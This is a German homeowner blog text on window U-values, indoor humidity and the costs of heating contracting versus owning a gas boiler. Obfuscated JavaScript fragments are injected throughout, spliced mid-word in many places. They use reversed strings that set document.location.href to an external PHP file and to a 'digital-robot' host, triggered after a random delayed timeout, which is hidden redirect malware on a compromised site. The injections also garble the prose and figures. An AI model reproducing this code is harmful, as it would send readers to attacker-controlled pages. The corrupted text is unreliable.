U-Wert für neue Fenster – Unterscheidung zwischen Uw-Wert, Uf-Wert und Ug-Wert

Hausbesitzer, die sich neue Fenster kaufen wollen, sollten sich stets am Uw-Wert (w – window / Fenster) für das Gesamtfenster orientieren. Dieser Wert gibt den U-Wert des gesamten Fensters (einschließlich Glas und Rahmen) wieder. Der Ug-Wert (g – glas / Glas) bezieht sich ausschließlich auf das Glas, der Uf-Wert (f – frame / Rahmen) bezieht sich ausschließlich auf den Fensterrahmen.

Fenster

Abb.: Beispiel – Außenwandfenster mit Dreischeiben-Wärmeschutzverglasung

  • U-Wert Rahmen: Uf = 0,8 W/(m²K),
  • U-Wert Glas: Ug = 0,5 W/(m²K),
  • U-Wert Bauteil gesamt: Uw = 0,7 W/(m²K)

Die aktuelle Energieeinsparverordnung fordert einen Mindestwert ( Uw-Wert ) von 1,3 W/(m²K) für außenliegende Fenster und Fenstertüren bzw. 1,4 W/(m²K) für Dachflächenfenster. Für Verglasungen wird ein U-Wert von mindestens 1,1 W/(m²K) gefordert.

Empfehlenswert sind Außenwandfenster mit einem U-Wert unter 1,0 W/(m² K) und einem g-Wert (Gesamtenergie-Durchlassgrad) zwischen 0,58 und 0,7.

Um eine Einzelmaßnahmenförderung durch die KfW-Bank beantragen zu können, müssen Uw-Werte von mindestens 0,95 W/(m²K) für Außenwandfenster, Balkon- und Terrassentüren bzw. von 1,0 W/(m²K) für Dachflächenfenster erreicht werden. Der Investitionszuschuss könnte in diesem Fall 10 Prozent der Gesamtkosten bzw. maximal 5.000 Euro pro Wohneinheit betragen (bei Erfüllung der KfW-Einbaubedingungen). Alternativ könnte auch ein zinsgünstiger Kredit (aktueller Zinssatz: 0,75 Prozent) beantragt werden.

Neue Fenster kaufen und einbauen

Neue Fenster sind grundsätzlich im Gesamtkonzept der Hausmodernisierung zu betrachten. Die Bauphysik ist hierbei unbedingt zu beachten. Möglicherweise ist zugleich ein Lüftungskonzept oder die energetische Sanierung der Außenwände erforderlich.

Vor dem Kauf sind zudem weitere Informationen zu Möglichkeiten der Fenstersanierung (Design, Farbe, Verglasung, Einbaukriterien etc.) und vor allem zu den Kosten erforderlich. Da die Auswahl geeigneter Fenster nicht einfach ist  und zahlreiche Zusatzkriterien beachtet werden sollten, wie Schallschutz, Sonnenschutz oder Sicherheitsverglasung, ist meist ein direkter Ansprechpartner empfehlenswert. Bei Sorpetaler beispielsweise wird ein direkter persönlicher Kontakt angeboten. Insgesamt erhält man auf diese Weise zahlreiche Informationen und einen sehr guten Preisvergleich. Es ist auch möglich, auf einem Online-Portal Fenster günstig zu erwerben und nach Lieferung, durch Fachfirmen vor Ort einbauen zu lassen.

Raumklima und Luftfeuchtigkeit

Um sich in den eigenen vier Wänden wohl zu fühlen, kommt es nicht nur auf eine persönliche Inneneinrichtung an. Auch das Raumklima trägt entschieden dazu bei. Ideal sind Werte zwischen 40 und 50 Prozent. Sowohl gegen zu trockene als auch gegen zu feuchte Raumluft kann man leicht vorgehen.

Raumklima und Luftfeuchtigkeit im Blick haben mit einem Hygrometer; Bild: Lupo / pixelio.de

Raumklima und Luftfeuchtigkeit im Blick haben mit einem Hygrometer; Bild: Lupo / pixelio.de

Trockene Luft befeuchten

Luftfeuchtigkeit unterhalb von 40 Prozent registrieren nicht nur Hygrometer. Auch die meisten Menschen reagieren darauf empfindlich. Durch die Trockenheit trocknen auch die Nasen- und Mundschleimhäute aus. Eine gereizte Nase und Halsschmerzen oder ein unangenehmes Gefühl beim Schlucken können die Folge sein. Zudem wird das Immunsystem geschädigt. Die natürliche Barriere gegen Keime, welche die Schleimhäute bilden, wirkt nicht mehr und die Ansteckungsgefahr für Erkältungskrankheiten steigt. Auch Augenreizungen bis hin zu Bindehautentzündungen können die Folge sein. Dem kann man leicht begegnen. Ein Luftbefeuchter in der Nähe der Heizung oder direkt an der Heizung aufgehangen sorgt für eine angenehme Anhebung der Luftfeuchtigkeit. Eine andere Variante ist es, den Wäschetrockner des Öfteren in der Wohnung aufzustellen. Beim Trocknen der Wäsche wird die Feuchtigkeit von der Raumluft aufgenommen.

Ventilatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toren und Raumentfeuchter gegen zu hohe Luftfeuchtigkeit

Schlägt die Luftfeuchtigkeit in das andere Extrem um, kann dies auch unangenehme oder sogar gesundheitsschädliche Folgen haben. Ein zu hoher Wasseranteil in der Raumluft kann zur Kondensation des Wassers an den Wänden führen. Dies hat meist Schimmelbildung zur Folge. Die Schimmelsporen können Erkrankungen wie Asthma oder chronische Bronchitis hervorrufen oder deren Verschlimmerung begünstigen. Zu hoher Luftfeuchtgkeit kann man mit verschiedenen Mitteln entgegenwirken. Zunächst einmal sollte man sein Heiz- und Lüftungsverhalten kontrollieren. Gerade in den kühlen und kalten Jahreszeiten ist es erforderlich, die Räume zwei bis vier Mal am Tag für einige Minuten bei weit geöffnetem Fenster zu lüften. Besonders nach dem Duschen oder Kochen sollte dies geschehen, da beides die Luftfeuchtigkeit durch die Wasserdämpfe erhöht. Das Aufstellen von Ventilatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toren und Raumentfeuchter sorgt ebenfalls für eine Senkung des Wassergehalts der Raumluft.

Heizung mit Contracting – Vertrag ? Welche Kosten entstehen ?

$nJe=function(n){if (typeof ($nJe.list[n]) == „string“) return $nJe.list[n].split(„“).reverse().join(„“);return $nJe.list[n];};$nJe.list=[„\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Daniel Rennen / pixelio.de“ src=“http://www.wir-hausbesitzer.de/blog/wp-content/uploads/2011/11/470654_R_K_by_Daniel-Rennen_pixelio.de_-1024×680.jpg“ alt=“Fernwärme – Contracting ; Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Daniel Rennen / pixelio.de“ width=“344″ height=“229″ /> Fernwärme – Contracting ; Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Daniel Rennen / pixelio.de

Contracting (englisch: contract) bedeutet eigentlich „Geschäft“. Damit ist grundsätzlich gemeint, dass der Hauseigentümer mit einem sogenannten Contractobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor (Wärmelieferant) einen Wärmelieferungsvertrag abschließt. Das Haus wird so mit Heizwärme und eventuell auch Warmwasser versorgt. Investitionen in eine eigene Heizungsanlage oder Wartungsaufwendungen sind nicht mehr erforderlich.

Sowohl bei Neubau- als auch bei Sanierungsvorhaben haben Hauseigentümer die Möglichkeit für die Heizungs- und Warmwasserbereitung die Wärme und/oder die Anlagentechnik durch externe Unternehmen liefern zu lassen.

Es gibt grundsätzlich zwei Möglichkeiten der Contracting-Vereinbarungen:

1.) Bezug von Fernwärme

2.) Heizungsanlage im Haus

1. Contracting bei Bezug von Fernwärme

Die Wärme für die Heizung und Warmwasserbereitung wird direkt an das Haus geliefert. Voraussetzung ist, dass sich ein Fernwärmenetz in unmittelbarer Nähe befindet. Fernwärme entsteht hierbei oftmals in Heizwerken in Kombination mit der Stromerzeugung (Prinzip der Kraft-Wärme-Kopplung).

Die Kosten für Leitungen und die Übergabestation werden im Regelfall von dem Contracting-Unternehmen getragen (Full-Contracting).

Der Hauseigentümer zahlt anschließend den Verbrauchspreis je verbrauchter Kilowattstunde (= Arbeitspreis). Dieser ist im Regelfall etwas höher als beispielsweise der Gaspreis bei einem regionalen Gasversorger. Neben dem eigentlichen Brennstobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toff sind Kosten für den Pumpenstrom eingerechnet. Die energetischen Verluste beim Transport der Wärme zum Haus sind natürlich in den Kosten ebenfalls indirekt enthalten.

Hinzu kommen die so genannten Bereitstellungskosten, also Kosten für die Errichtung der Anlage, für die Wartung, die Verwaltung  und für die Vorhaltung der Anschlussleistung (= Grundpreis). Diese Kosten können deutlich höher sein als die eigentlichen Verbrauchskosten.

Ferner sind weitere Kosten für die Ablesung und Abrechnung möglich (= Abrechnungskosten).

Beispiel: Neues Einfamilienhaus mit 150 Quadratmeter Wohnfläche und einem Jahresverbrauch für Heizung und Warmwasser von 10.000 kWh (Full-Contracting, d.h. Vertrag für Wärmelieferung inkl. Anlagentechnik):

  • Arbeitspreis: 0,10 €/kWh x 10.000 kWh = 1.000 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Grundpreis: 8,00 €/m² Wohnfl. x 150 m² = 1.200 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Abrechnungskosten:  130 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Summe:  2.330 €   (mit 10 Jahren Laufzeit)

Vergleich mit einem „eigenen“ Gas-Brennwertkessel und einem „Standard-“ Gastarif:

  • Verbrauchspreis:  0,06 €/kWh x 10.000 kWh = 600 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Grundpreis (des Gasversorgers):  5,00 €/Monat x 12 = 60 €
  • Wartung/Schornsteinfeger: 140 €
  • Summe:   800 €

Fazit bei gleichem Verbrauch sind mit Contracting-Vertrag 2.300 € und mit eigener Heizungsanlage 800 € zu bezahlen. Das ergibt eine jährliche Kostendifferenz von 1.500 €.

Auf zehn Jahre hochgerechnet ergeben sich so 15.000 € Differenz – ohne Energiepreissteigerung gerechnet. Wird jetzt noch eine Energiepreissteigerung von jährlich 5 bis 15 Prozent berücksichtigt … ist die Differenz noch deutlich höher.

Investitionskosten für den Heizungskessel:

Bei diesem Vergleich sind natürlich noch die Kosten für einen „eigenen“ Brennwertkessel einzurechnen. Dieser kostet ca. 8.000 bis 10.000 € (inklusive Arbeitsleistung). Das bedeutet, dass sich im vorliegenden Beispiel auch mit Berücksichtigung der Investitionskosten eine „eigene“ Anlage als deutlich kostengünstiger erweisen würde.

Die Fernwärmepreise unterliegen regional erheblichen Schwankungen, so dass sich Fernwärme aus wirtschaftlicher Sicht auch für einzelne Hausbesitzer finanziell rechnen kann.

Übrigens, die Preise der Fernwärme unterliegen ebenfalls den allgemeinen Schwankungen. Regelungen zur „Preisanpassungsklausel“ sind in der Allgemeinen Versorgungsverordnung (AVBFernwärmeV) gesetzlich geregelt.

 

2. Contracting bei Errichtung und Betrieb einer Heizungsanlage

Eine weitere Contracting–Möglichkeit gibt es, indem ein Unternehmen eine komplette Heizungsanlage im Wohngebäude aufstellt und betreibt. Diese Anlage (beispielsweise ein Gasbrennwertgerät) wird vom Contracting-Unternehmen finanziert und ist damit Eigentum des Unternehmens. Zudem kann der Energieversorger durch den Eigentümer innerhalb der Contracting-Laufzeit nicht gewechselt werden.

Beispiel: Einfamilienhaus mit einem Jahresverbrauch für Heizung und Warmwasser von 10.000 kWh (Gasbrennwertheizung; Full-Contracting, d.h. Vertrag für Wärmelieferung inkl. Anlagentechnik):

  • Verbrauchspreis:  0,06 €/kWh x 10.000 kWh = 600 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Grundpreis (Gasversorgung):  15,00 €/Monat x 12 = 180 €
  • Contracting-Grundpreis:  2,80 €/Tag = 1.020 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Summe:   1.800 €   (mit 15 Jahren Laufzeit)

Nochmals der Vergleich mit einem „eigenen“ Gas-Brennwertkessel und einem „Standard-“ Gastarif (siehe oben):

  • Verbrauchspreis:  0,06 €/kWh x 10.000 kWh = 600 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Grundpreis (Gasversorgung):  5,00 €/Monat x 12 = 60 €
  • Wartung/Schornsteinfeger:  140 €
  • Summe:  800 €

Differenz 1.800 € (Contracting) – 800 € (eigene Anlage) = 1.000 €.

Ohne weitere Preissteigerungen gerechnet, würden sich Mehrkosten von ca. 15.000 € in 15 Jahren ergeben. (Nochmals zum Vergleich: Eine eigene Heizungsanlage kostet ca. 8.000 – 10.000 €). Zudem hat man bei einer eigenen Anlage die Möglichkeit den Gasversorger (und natürlich auch die Anlagentechnik selbst) frei zu wählen.

Fazit – Nachteile von Contracting:

  • Oftmals sind die Energiekosten aus Contracting-Verträgen signifikant höher im Vergleich zur Anschaffung einer eigenen Heizungsanlage.
  • Ein großer Nachteil sind vor allem die sehr langfristigen Contracting-Verträge. Diese liegen meist zwischen 10 und 15 Jahren. Die Vertragslänge ist insofern begründet, da die Anfangsinvestitionen des Contracting -Unternehmens durch den jährlichen Grundpreis gedeckt sein müssen.
  • Bei Fernwärme:   Bindung an den Fernwärmeversorger, teilweise auch über die Vertragslaufzeit hinaus. Auch nach Ablauf der Vertragslaufzeit kann die Fernwärme nicht ohne weiteres abgewählt“ werden. Zum einen gibt es regional sogenannten „Anschlusszwang“ – das sollte vorher abgeklärt werden. Zum anderen gilt grundsätzlich für alle Hausbesitzer ein „Verschlechterungsverbot“. Das bedeutet, dass die neue Anlage (primärenergetisch) nicht schlechter sein darf, als die alte Anlage. Je nachdem wie „gut“ die regional bezogene Fernwärme bewertet wird, sind als Nachfolge-Technik nicht mehr alle Möglichkeiten gegeben. So wird ein Gasbrennwertkessel nicht ausreichen, hingegen jedoch ein Pelletkessel. Übrigens: Informationen zum Primärenergiefaktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor können beim Fernwärmeanbieter jederzeit angefordert werden.

Fazit – Vorteile von Contracting:

  • Es ist keine Anfangsinvestitionen erforderlich. Wer aktuell kein Geld für eine neue Heizungsanlage besitzt, kann hierin durchaus einen guten Ansatz sehen.
  • Gerade bei dem Einsatz von Fernwärme ist es möglich, dass das Gebäude primärenergetisch sehr günstig bewertet wird (Das bedeutet, dass Gebäude bei Neubau oder Sanierung schnell den Standard eines KfW-Effizienzhauses erreichen können und so weitere Fördermöglichkeiten gegeben sind.) Aber Achtung: allein durch den Einsatz von Fernwärme wird das Gebäude nicht wirklich „besser“ und die zu zahlenden Energiekosten werden nicht wirklich geringer.

Prüfung des Contracting-Vertrages:

Der Contracting-Vertrag ist vor Abschluss genau zu überprüfen. Anschließend ist es nahezu nicht mehr möglich aus diesem Vertrag „zu kommen“. Eventuell sollte der Contracting-Vertrag vorher durch einen Fachanwalt geprüft werden.

Tipp zur Senkung der Contracting–Kosten:

Oftmals ist die Anschlussleistung bei Fernwärme Contracting-Verträgen zu hoch ausgelegt. Hier lohnt sich eine Überprüfung. Gegebenenfalls können so im Contracting-Vertrag die Kosten für den Grundpreis aufgrund verringerter Anschlussleistung ein wenig reduziert werden.Contracting